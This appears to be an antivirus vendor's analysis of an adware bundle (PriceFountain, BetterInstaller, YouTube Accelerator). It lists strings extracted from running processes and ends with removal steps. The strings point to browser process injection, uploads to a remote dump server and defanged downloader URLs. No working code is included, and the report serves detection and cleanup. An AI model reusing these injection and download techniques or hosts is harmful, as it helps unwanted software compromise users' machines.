pricefountain.exe_3652:

.text

`.rdata

@.data

.rsrc

j.Yf;

_tcPVj@

.PjRW

function not supported

operation canceled

address_family_not_supported

operation_in_progress

operation_not_supported

protocol_not_supported

operation_would_block

address family not supported

broken pipe

inappropriate io control operation

not supported

operation in progress

operation not permitted

operation not supported

operation would block

protocol not supported

operator

GetProcessWindowStation

Útetime

%file

ûase

%func

%user

%d/%M/%Y %H:%m:%s,%g

%d-%M-%Y_%H-%m

logs\myeasylog.log

Erroneous arithmetic operation

Arithemetic operation issue such as division by zero or operation resulting in overflow.

Generally due to a corruption in the code or to an attempt to execute data.

Interruption generated (generally) by user or operating system.

src\MessageLooper.cpp

invalid map<K, T> key

' ).;<52

src\InjectorHelper.cpp

Chrome_Injector_thread

ntdll.dll

kernel32.dll

void __thiscall MasterMind::CreateCrashIfEnabledFromRegistry(const char *,struct HKEY__ *,class std::basic_string<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >)

src\MasterMind.cpp

this is a QA Crash from the EXE.

about to crash EXE !!!

bool __thiscall MasterMind::OnUrlInjected(const char *,const char *)

injected to URL

src\SuzanEXE.cpp

Útetime %level [%logger] %msg

Útetime %level [%logger] [%user@%host] [%func] [%loc] %msg

Útetime %level-%vlevel [%logger] %msg

Útetime %level [%logger] [%func] [%loc] %msg

Útetime %level %msg

c:\users\idan\documents\mydev\suzandll\utilityhelpers\src\helpers\easylogging.h

50000000

Útetime [%level] (%file:%line) %msg

src\helpers\LogsCollectorHelper.cpp

12:28:31

..\Common\Injector.cpp

pszLoggerName - %s

pwszDll %ls dwProcessId %d

LocateModuleBaseAddressInTargetProcess(L"kernel32.dll",dwProcessId,pTargeKernel32) - Failed (0x%8.8X)

pwszName %ls dwProcessId %d

dwProcessId %d

pwszModuleName %ls dwProcessId %d

Injected to process %d

pwszProcess %ls pwszDll %ls pszLoggerName %s

------BoundaryX

Content-Disposition: form-data; name="uploaded"; filename="%s"

------BoundaryX--

hSession failed, errorcode 0xx

hConnect failed, errorcode 0xx

hRequest failed, errorcode 0xx

hResults failed, errorcode 0xx

bool __thiscall helpers::MinidumpsHelper::CreateS3Url(class std::vector<class std::basic_string<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >,class std::allocator<class std::basic_string<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> > > >,class std::basic_string<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >,class std::basic_string<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >)

src\helpers\MinidumpsHelper.cpp

..\DebbieDLL\Logger.cpp

18:30:39

...Error In Format ...

(%d)[

(%d) -

>>>%s()

<<<%s() - 0x%p

..\DebbieDLL\DebbieUnique.cpp

12:28:26

..\Common\CheckUnique.cpp

src\IPCHandlerServer.cpp

[[IPC]] starting create connection pipe loop:

[[IPC]] error creating pipe:

[[IPC]] connection pipe created:

[[IPC]] msgData.isMember("topic") && 0 == msgData["topic"].compare("client_connect") = FALSE

[[IPC]] connection pipe closed

url_detected

\\.\pipe\connection_queue

C:\Users\Idan\Documents\MyDev\SuzanDll\SuzanDLL\Release\SuzanEXE.pdb

VERSION.dll

RegCreateKeyExW

RegOpenKeyExW

RegCloseKey

ADVAPI32.dll

SetProcessShutdownParameters

CreateNamedPipeA

KERNEL32.dll

EnumWindows

USER32.dll

SHELL32.dll

PSAPI.DLL

WinHttpReceiveResponse

WinHttpSetTimeouts

WinHttpSetOption

WinHttpSendRequest

WinHttpWriteData

WinHttpConnect

WinHttpCloseHandle

WinHttpQueryHeaders

WinHttpQueryDataAvailable

WinHttpOpen

WinHttpOpenRequest

WinHttpReadData

WinHttpAddRequestHeaders

WINHTTP.dll

dbghelp.dll

SHLWAPI.dll

GetCPInfo

GetProcessHeap

SuzanEXE.exe

??0HttpHelper@helpers@@QAE@ABV01@@Z

??0HttpHelper@helpers@@QAE@PB_W00@Z

??0HttpRequestContent@helpers@@QAE@ABV01@@Z

??0HttpRequestContent@helpers@@QAE@XZ

??0PrcssHelper@helpers@@QAE@ABV01@@Z

??0PrcssHelper@helpers@@QAE@XZ

??1HttpHelper@helpers@@QAE@XZ

??1PrcssHelper@helpers@@QAE@XZ

??4HttpHelper@helpers@@QAEAAV01@ABV01@@Z

??4HttpRequestContent@helpers@@QAEAAV01@ABV01@@Z

??4PrcssHelper@helpers@@QAEAAV01@ABV01@@Z

??_7HttpRequestContent@helpers@@6B@

?CheckIfProcessRunning@PrcssHelper@helpers@@SA_NABV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAVErrorData@@@Z

?CloseApp@PrcssHelper@helpers@@SA?AW4TerminationResult@12@KKPAVErrorData@@@Z

?CloseApp@PrcssHelper@helpers@@SA?AW4TerminationResult@12@V?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@KPAVErrorData@@@Z

?CreateS3Url@LogsCollectorHelper@helpers@@AAE_NXZ

?CreateS3Url@MinidumpsHelper@helpers@@AAE_NV?$vector@V?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@V?$allocator@V?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@@2@@std@@V?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@4@1@Z

?FindPathFromExeName@PrcssHelper@helpers@@SA_NV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAV34@PAVErrorData@@@Z

?FindProcessId@PrcssHelper@helpers@@SAKV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@@Z

?GetAllRunningProcesses@PrcssHelper@helpers@@SA?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@XZ

?GetCookies@HttpHelper@helpers@@QBEABV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@XZ

?GetDataOfRunningProcess@PrcssHelper@helpers@@SA_NABV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAUprocessData@12@@Z

?GetDefaultURL@HttpHelper@helpers@@SAABV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@XZ

?GetProcessNameByID@PrcssHelper@helpers@@SA?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@K@Z

?GetResponseHeaders@HttpHelper@helpers@@QBEABV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@XZ

?GetStatusCode@HttpHelper@helpers@@QBE?BKXZ

?IsCurrentProcessAlreadyRunning@PrcssHelper@helpers@@SA_NPAVErrorData@@@Z

?IsValidUrl@HttpHelper@helpers@@SA_NV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@@Z

?IsWinXP@PrcssHelper@helpers@@SA_NXZ

?LoadProcess@PrcssHelper@helpers@@SA_NV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@0PAVErrorData@@PAVProcessData@12@@Z

?ReadFromRegistry@RegistryHelper@helpers@@SA_NPAUHKEY__@@PB_WV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAV45@PAVErrorData@@@Z

?SendPostData@HttpHelper@helpers@@SAXABV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@AAV34@@Z

?SendPostRequest@HttpHelper@helpers@@QAE?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@4@@Z

?SendRequest@HttpHelper@helpers@@QAE?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@ABV34@@Z

?SendRequest@HttpHelper@helpers@@QAE?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@KPAX@Z

?SendRequest@HttpHelper@helpers@@QAE?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAVHttpRequestContent@2@@Z

?SendRequest@HttpHelper@helpers@@QAE?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAVIProgress@2@ABV34@@Z

?SendRequest@HttpHelper@helpers@@QAE?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAVIProgress@2@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@4@@Z

?SendRequest@HttpHelper@helpers@@QAE?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAVIProgress@2@KPAX@Z

?SendRequest@HttpHelper@helpers@@QAE?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAVIProgress@2@PAVHttpRequestContent@2@@Z

?SendRequest_s@HttpHelper@helpers@@QAE?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAVIProgress@2@PAVHttpRequestContent@2@@Z

?TerminateAppEnum@PrcssHelper@helpers@@CGHPAUHWND__@@J@Z

?UploadFileToS3@HttpHelper@helpers@@QAE_NV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PA_W0PAV34@@Z

?UploadFileToServerUsingPost@HttpHelper@helpers@@SAHV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@0PA_W00PAV34@@Z

?WriteToRegistry@RegistryHelper@helpers@@SA_NPAUHKEY__@@PB_WV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@2PAVErrorData@@@Z

?_SendRequest_s@HttpHelper@helpers@@QAE_NPAV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@ABV34@@Z

?_SendRequest_s@HttpHelper@helpers@@QAE_NPAV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@KPAX@Z

?_SendRequest_s@HttpHelper@helpers@@QAE_NPAV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAVHttpRequestContent@2@@Z

?_SendRequest_s@HttpHelper@helpers@@QAE_NPAV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAVIProgress@2@ABV34@@Z

?_SendRequest_s@HttpHelper@helpers@@QAE_NPAV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAVIProgress@2@KPAX@Z

?_SendRequest_s@HttpHelper@helpers@@QAE_NPAV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAVIProgress@2@PAVHttpRequestContent@2@@Z

?char2hex@HttpHelper@helpers@@SA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@D@Z

?domain@HttpHelper@helpers@@2V?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@A

?urlencode@HttpHelper@helpers@@SA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@ABV34@@Z

zcÁ

.?AVHttpRequestContent@helpers@@

<requestedExecutionLevel level='asInvoker' uiAccess='false' />

combase.dll

mscoree.dll

- CRT not initialized

- Attempt to initialize the CRT more than once.

- floating point support not loaded

portuguese-brazilian

USER32.DLL

midnight_express_operational_domain

chrome.exe

CHROME INFORMATION -

chrome.dll

Ws2_32.dll

WS2_32.dll

afterOneHourLogs

lastChrome2

s3_url_gen

domain_operational

pricefountain.com

main.log

pricejs.net

common.js

prfo.dll

upload_logs_url_path

dump.php

chrome.dealply.com

check_if_dump_exists_url

hXXps://dumpster-server.herokuapp.com/manager/query

HKEY_CURRENT_USER

registry_key

AHKEY_LOCAL_MACHINE

CreateCrashExe

suzan_url_inj

QUICK EVENT URL

Suzan EXE started , version:

suzan_exestrt

__pmLog_.txt

type=offb&topic=urldat&data=1&

quick_url_path

error in RegOpenKeyEx returned:

error in RegOpenKeyEx type is not REG_SZ

SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\

uninst.exe

%s_%s_Logs_%s.zip

CWinHTTP/1.0

hXXps://

hXXp://

Content-Type: multipart/form-data; boundary=----BoundaryX

Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko

Content-Length: %d

%s\%s_%s_%p_%s_Error_ddd_ddd.dmp

dmp.zip

libcef.dll

pricemeter.exe

pricemeterw.exe

C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\pricefountain.exe

1.0.8.6

pricefountain.exe

biclient.exe_2152:

.text

`.rdata

@.data

.rsrc

@.reloc

PSShP

SSSSh

RegDeleteKeyExW

FtpCommandW

XXXXXXXXXXXX

kernel32.dll

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

GetProcessWindowStation

USER32.DLL

operator

d:\mTech\somoto\new_svn\BetterInstaller\BetterInstaller\Release\BetterInstaller.pdb

HttpSendRequestW

HttpQueryInfoW

HttpAddRequestHeadersW

HttpOpenRequestW

InternetCrackUrlW

WININET.dll

PSAPI.DLL

IPHLPAPI.DLL

GetProcessHeap

KERNEL32.dll

CreateDialogIndirectParamW

USER32.dll

GDI32.dll

COMDLG32.dll

CryptSetKeyParam

CryptImportKey

CryptDestroyKey

RegDeleteKeyW

RegCloseKey

RegCreateKeyExW

RegOpenKeyExW

RegQueryInfoKeyW

RegEnumKeyExW

RegOpenKeyW

ADVAPI32.dll

ShellExecuteW

ShellExecuteExW

SHELL32.dll

ole32.dll

OLEAUT32.dll

SHLWAPI.dll

USERENV.dll

GetCPInfo

GetConsoleOutputCP

.?AUIHTMLOMWindowServices@@

.?AV?$CAtlExeModuleT@VCBetterInstallerModule@@@ATL@@

'BetterInstaller.EXE'

Created by MIDL version 7.00.0500 at Tue Nov 08 16:10:48 2011

<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>

<assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="*" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity>

1"2-2:2]2

:!:&:0:>:~:

: <'<-<`<

{C85A8C97-E040-4924-8E1D-693560EE116E}

WAdvapi32.dll

HKEY_CLASSES_ROOT

HKEY_CURRENT_USER

HKEY_LOCAL_MACHINE

HKEY_USERS

HKEY_PERFORMANCE_DATA

HKEY_DYN_DATA

HKEY_CURRENT_CONFIG

Mscoree.dll

OLEAUT32.DLL

%u kB

%u bytes

Range: bytes=%d-%d

Range: bytes=%d-

%d:d:d

%s - %s

Wwininet.dll

r%s.%d

"%s" %s

%s (%d)%s

*.TXT

%d.%d.%d %s %sbit

<memory>%d</memory>

%DOCUMENTS%

ÞSKTOP%

hXXp://installer.filebulldog.com

%s\Mozilla\Firefox\%s\prefs.js

%s\Mozilla\Firefox\profiles.ini

biDeleteRegistryKey

biGetExecutionArguments

biCreateRegistryKey

biExistRegistryKey

Better Installer(Mozilla)

%s/%s/%s/%s?v=%s&muid=%s

%s/downloader/%s/%s/%s?v=%s&muid=%s

Preparing %s...

ekernel32.dll

mscoree.dll

KERNEL32.DLL

Open URL Error

URL Parts Error

FtpCreateDir failed (550)

Error FTP path (550)

hXXp://download.filesfrog.com/software_files/7_zip/9_20/7z920.exe

llGenieo.exe

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe

ieo.exe

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe

{8856F961-340A-11D0-A96B-00C04FD705A2}

2.0.0.0

BetterInstaller.exe

rundll32.exe_3868:

.text

`.data

.rsrc

@.reloc

KERNEL32.dll

USER32.dll

msvcrt.dll

imagehlp.dll

ntdll.dll

?.ulf

.ue9]

ole32.dll

_amsg_exit

_wcmdln

rundll32.pdb

name="Microsoft.Windows.Shell.rundll32"

version="5.1.0.0"

<requestedExecutionLevel level="asInvoker" uiAccess="false"/>

name="Microsoft.Windows.Shell.rundll32"

version="5.1.0.0"

.....eZXnnnnnnnnnnnn3

....eDXnnnnnnnnnnnn3

...eDXnnnnnnnnnnnn,

.eDXnnnnnnnnnnnn,

%Xnnnnnnnnnnnnnnn1

O3$dS7"%U9

.manifest

{00000000-0000-0000-0000-000000000000}

\\?\Volume

\\?\UNC\

rundll32.exe

Windows host process (Rundll32)

6.1.7600.16385 (win7_rtm.090713-1255)

RUNDLL32.EXE

Windows

Operating System

6.1.7600.16385

biclient.exe_3776:

.text

`.rdata

@.data

.rsrc

@.reloc

PSShP

SSSSh

RegDeleteKeyExW

FtpCommandW

XXXXXXXXXXXX

kernel32.dll

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

GetProcessWindowStation

USER32.DLL

operator

d:\mTech\somoto\new_svn\BetterInstaller\BetterInstaller\Release\BetterInstaller.pdb

HttpSendRequestW

HttpQueryInfoW

HttpAddRequestHeadersW

HttpOpenRequestW

InternetCrackUrlW

WININET.dll

PSAPI.DLL

IPHLPAPI.DLL

GetProcessHeap

KERNEL32.dll

CreateDialogIndirectParamW

USER32.dll

GDI32.dll

COMDLG32.dll

CryptSetKeyParam

CryptImportKey

CryptDestroyKey

RegDeleteKeyW

RegCloseKey

RegCreateKeyExW

RegOpenKeyExW

RegQueryInfoKeyW

RegEnumKeyExW

RegOpenKeyW

ADVAPI32.dll

ShellExecuteW

ShellExecuteExW

SHELL32.dll

ole32.dll

OLEAUT32.dll

SHLWAPI.dll

USERENV.dll

GetCPInfo

GetConsoleOutputCP

.?AUIHTMLOMWindowServices@@

.?AV?$CAtlExeModuleT@VCBetterInstallerModule@@@ATL@@

'BetterInstaller.EXE'

Created by MIDL version 7.00.0500 at Tue Nov 08 16:10:48 2011

<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>

<assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="*" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity>

1"2-2:2]2

:!:&:0:>:~:

: <'<-<`<

{C85A8C97-E040-4924-8E1D-693560EE116E}

WAdvapi32.dll

HKEY_CLASSES_ROOT

HKEY_CURRENT_USER

HKEY_LOCAL_MACHINE

HKEY_USERS

HKEY_PERFORMANCE_DATA

HKEY_DYN_DATA

HKEY_CURRENT_CONFIG

Mscoree.dll

OLEAUT32.DLL

%u kB

%u bytes

Range: bytes=%d-%d

Range: bytes=%d-

%d:d:d

%s - %s

Wwininet.dll

r%s.%d

"%s" %s

%s (%d)%s

*.TXT

%d.%d.%d %s %sbit

<memory>%d</memory>

%DOCUMENTS%

ÞSKTOP%

hXXp://installer.filebulldog.com

%s\Mozilla\Firefox\%s\prefs.js

%s\Mozilla\Firefox\profiles.ini

biDeleteRegistryKey

biGetExecutionArguments

biCreateRegistryKey

biExistRegistryKey

Better Installer(Mozilla)

%s/%s/%s/%s?v=%s&muid=%s

%s/downloader/%s/%s/%s?v=%s&muid=%s

Preparing %s...

ekernel32.dll

mscoree.dll

KERNEL32.DLL

Open URL Error

URL Parts Error

FtpCreateDir failed (550)

Error FTP path (550)

hXXp://download.filesfrog.com/software_files/7_zip/9_20/7z920.exe

llGenieo.exe

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe

ieo.exe

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe

{8856F961-340A-11D0-A96B-00C04FD705A2}

2.0.0.0

BetterInstaller.exe

WerFault.exe_1524:

.text

`.data

.rsrc

@.reloc

ADVAPI32.dll

ntdll.DLL

KERNEL32.dll

USER32.dll

msvcrt.dll

ole32.dll

OLEAUT32.dll

SHLWAPI.dll

IMM32.dll

wer.dll

COMCTL32.dll

faultrep.dll

{Fq95Dqq\6Dq

Starting kernel vertical - %S

rundll32.exe

NtQueryInformationProcess failed with status: 0x%x

Reporting never started for process id %u

StringCchPrintf failed with 0x%x

NtWow64QueryInformationProcess64 failed with 0x%x

NtWow64ReadVirtualMemory64 failed with 0x%x

NtQueryInformationProcess failed with status 0x%x

WerpNtWow64QueryInformationProcess64 failed with status 0x%x

StringCchCopy failed with 0x%x

Invalid arg in %s

wdi.dll

dbgeng.dll

dbghelp.dll

SETUPAPI.dll

SHELL32.dll

VERSION.dll

WTSAPI32.dll

WerFault.pdb

PSShD

tSSh,<

t.PSj6

t5SSh

SShx`

tsShxc

t.Ph0j

_amsg_exit

RegCloseKey

RegCreateKeyExW

RegOpenKeyExW

RegEnumKeyExW

RegQueryInfoKeyW

GetProcessHeap

GetWindowsDirectoryW

RegDeleteKeyW

ReportEventW

RegOpenKeyW

RegSetKeyValueW

GetProcessWindowStation

EnumWindows

NtAlpcSendWaitReceivePort

NtAlpcConnectPort

ShipAssert

ntdll.dll

RegisterErrorReportingDialog

WerReportSubmit

WerReportAddFile

WerReportCreate

WerReportCloseHandle

WerReportSetUIOption

WerpGetReportConsent

WerpSetIntegratorReportId

WerpReportCancel

WerpAddRegisteredDataToReport

WerReportAddDump

WerpCreateIntegratorReportId

WerpSetReportFlags

WerpGetReportFlags

WerpIsTransportAvailable

WerReportSetParameter

WerpInitiateCrashReporting

version="1.0.0.0"

name="Microsoft.Windows.Feedback.Watson"

name="Microsoft.Windows.Common-Controls"

version="6.0.0.0"

publicKeyToken="6595b64144ccf1df"

<asmv3:windowsSettings xmlns="hXXp://schemas.microsoft.com/SMI/2005/WindowsSettings">

</asmv3:windowsSettings>

<requestedExecutionLevel

ÝCD0

#$$$3355<

##$$$335566

% "#$$$3355666=

"#$$33555666

!.DQ$

.Py>o

Kÿg

.ib:?

T3%X_

a,M.cbd

KEYW8

KEYWH

? ?$?(?,?0?4?8?

1 2$2(2,20242

>,?0?4?8?<?@?

?%?5?:?|?

5'565^5{5

3#3(353_3

=#='= =/=3=7=;=?=

=#=(=>=]=

>!>&>3>}>

1!1&131[1

Microsoft\Windows\WindowsErrorReporting\WerFault

%s %s

Global\WerKernelVerticalReporting

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl

CrashDumpEnabled.Old

CrashDumpEnabled.New

%SystemRoot%\MEMORY.DMP

LiveKernelReports

Software\Microsoft\Windows\Windows Error Reporting\LiveKernelReports

LiveKernelReportsPath

BCCode=%x&BCP1=%p&BCP2=%p&BCP3=%p&BCP4=%p&OS Version=%u_%u_%u&Service Pack=%u_%u&Product=%u_%u

*WerKernelReporting

%SYSTEMROOT%\SYSTEM32\WerFault.exe -k -rq

SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

SOFTWARE\Microsoft\Windows\Windows Error Reporting\KernelFaults\Queue

sysdata.xml

%s -k -q

SOFTWARE\Microsoft\Windows NT\CurrentVersion

<OSVER>%u.%u.%u %u.%u</OSVER>

<OSLANGUAGE>%u</OSLANGUAGE>

<ARCHITECTURE>%u</ARCHITECTURE>

<PRODUCTTYPE>%u</PRODUCTTYPE>

<FILESIZE>%u</FILESIZE>

<CREATIONDATE>d-d-d d:d:d</CREATIONDATE>

<NAME>%s</NAME>

<DATA>%s</DATA>

<ERROR>Failed at Step: %s with error 0x%x</ERROR>

%sDrivers\%s.sys

</%s>

<%s>%s</%s>

%u.%u.%u.%u

*.mrk

WER-%u-%u.sysdata.xml

Software\Microsoft\Windows\CurrentVersion\CEIPRole\RolesInWER

SOFTWARE\Microsoft\Windows\CurrentVersion\Reliability\MemoryDiagnostic

Web Server

Software\Microsoft\Windows\Windows Error Reporting\Debug

%SystemRoot%\Minidump

0xx (0xx, 0xx, 0xx, 0xx)

%s\%2.2d%2.2d%2.2d-%u-%2.2d.dmp

*.dmp

Software\Microsoft\Windows\Windows Error Reporting

Software\Policies\Microsoft\Windows\Windows Error Reporting

\KernelObjects\SystemErrorPortReady

%s\%s

Microsoft.Windows.Setup

\WindowsErrorReportingServicePort

(0x%x): %s

%u %s

WindowsNTVersion

%u.%u

ErrorPort

\StringFileInfo\xx\%s

HKEY_USERS\

HKEY_CURRENT_CONFIG\

HKEY_CLASSES_ROOT\

HKEY_LOCAL_MACHINE\

HKEY_CURRENT_USER\

%s="%s"

%s.%s

%s %d

Software\Microsoft\Windows\Windows Error Reporting\Hangs

_NT_EXECUTABLE_IMAGE_PATH

wxmu.dmp

wxhu.dmp

axmu.dmp

axhu.dmp

hu.kdmp

mu.kdmp

hu.dmp

mu.dmp

Software\Microsoft\.NETFramework

NOT_TCPIP

sos.dll

version.xml

.version.xml

%s.xml

memory.hdmp

minidump.mdmp

Local\WERReportingForProcess%d

atk.kdmp

Software\Microsoft\Windows\Windows Error Reporting\Hangs\NHRTimes

%i|%d|%d

xxxxxxxxxxxxxxxx

xx

%d.%d.%d.%d

D:P(A;;GA;;;BA)(A;;GA;;;SY)(A;;GA;;;%s)

D:P(A;;GA;;;BA)(A;;GA;;;SY)(A;;GA;;;%s)S:(ML;;NR;;;HI)

dc.noreflect

dc.xpmemdump

dc.xpdata

dc.CustomDump

dc.expmodmem

dc.expmoddata

dc.OnDemandKdmp

dc.xpmodmem

dc.xpmoddata

default=%s

memory=%s

module=%s

.dbgcfg.ini

ElevatedDataCollectionStatus.txt

Open process failed unexpectedly: 0X%X

Attempting to cross-proc reporting process!

Elevation:Administrator!new:%s

Reflection attempt failed: 0X%X

Attempting to reflect reporting process!

Could not collect dump for reflection cross process: 0x%x

Could not collect xproc for reflection: 0x%x

CollectFile for reflection failed: 0x%x

Could not collect dump for cross process: 0x%x

CollectReflectionDump failed with: 0x%x

0 processes found for xproc module: %s

Could not collect cross dump from module: 0x%x

CollectCrossProcessModuleDumps failed: 0x%x

CollectCrossProcessDumps failed: 0x%x

KernelDump failed: 0x%x

ProcessHandle

%s|%s

rpcrt4

\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AeDebugProtected\AutoExclusionList

\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AeDebug\AutoExclusionList

\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AeDebugProtected

\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AeDebug

sntdll.dll

WerDiagController.dll

Software\Microsoft\Windows\Windows Error Reporting\Plugins

Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers

Software\Microsoft\Windows\Windows Error Reporting\Plugins\FDR\CurrentSession

%s\%s\%u-%u.etl

%s\%s\%u-%u.etl_%d

Microsoft\Windows\FDR

%s-%d

Software\Microsoft\Windows\Windows Error Reporting\Plugins\DriverVerifier

Software\Microsoft\Windows\Windows Error Reporting\Plugins\AppRecorder

%d-AppRecorderEnabled

%s /stop

psr.exe

Software\Microsoft\Windows\Windows Error Reporting\RuntimeExceptionHelperModules

verifier.dll

nVerifier.dll

Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\%s

Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

lsvchost.exe

"%s" "%s" "%s"

%s\system32\cofire.exe

psapi.dll

sfc_os.dll

werfault.exe

%s\%s-(PID-%u)-%u

%s\%s-(PID-%u).dmp

%s\*-(PID-*)-*

SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\%s

SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit

kernel32.dll

kernelbase.dll

ReportingMode

WinShipAssert

WindowsMessageReportingB1

Windows

ws2_32.dll

Software\Microsoft\SQMClient\%s\AdaptiveSqm\ManifestInfo

%s\Sqm%d.bin

CorporateWerPortNumber

BypassDataThrottling

Software\Microsoft\Windows\Windows Error Reporting\Consent

Windows Problem Reporting

6.1.7600.16385 (win7_rtm.090713-1255)

WerFault.exe

Windows

Operating System

6.1.7600.16385

Microsoft-Windows-WER-Diag/Operational

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Scan a system with an anti-rootkit tool.
Terminate malicious process(es) (How to End a Process With the Task Manager):

pricefountainw.exe:3156
GLB4EF.tmp:3568
YTAHelper.exe:2496
294823_.exe:2416
YouTubeAcceleratorService.exe:612
YouTubeAcceleratorService.exe:4068
YouTubeAcceleratorService.exe:3652
ins_postInst.exe:4004
smt_mystartsearch.exe:2560
jsdrv.exe:1472
pricefountain.exe:3652
biclient.exe:2164
biclient.exe:2944
18be6784_.exe:2712
sfx.exe:2496
ins_yta.exe:3812
8B7.tmp:4068
testlsp.exe:1404
setup.exe:2144
setup.exe:2468
rundll32.exe:3868
rundll32.exe:3784
WerFault.exe:4024
WerFault.exe:2364
WerFault.exe:3520
ShopperPro.exe:3492
ins_shopperpro.exe:2016
regsvr32.exe:1848
regsvr32.exe:3620
regsvr32.exe:3436
regsvr32.exe:2508
regsvr32.exe:388
regsvr32.exe:3176
lspinst.exe:3412
lspinst.exe:1836
YTAHEL~1.EXE:3508
DCytaiesmt_smtyc_setup.exe:1572
spbiu.exe:2308
spbiu.exe:1008
%original file name%.exe:3852
wscript.exe:3520
GLJ52F.tmp:3012
taskeng.exe:1652
ytaiesmt_smtyc_setup.exe:3732
Delete the original Application file.
Delete or disinfect the following files created/modified by the Application:

C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\logs\wd.log (278 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000e.TMP (11493 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH001a.TMP (13284 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\blank.html (75 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000d.TMP (7581 bytes)
C:\Users\"%CurrentUserName%"\Desktop\YouTube Accelerator.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VADEU.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0006.TMP (115350 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\updater.exe (14310 bytes)
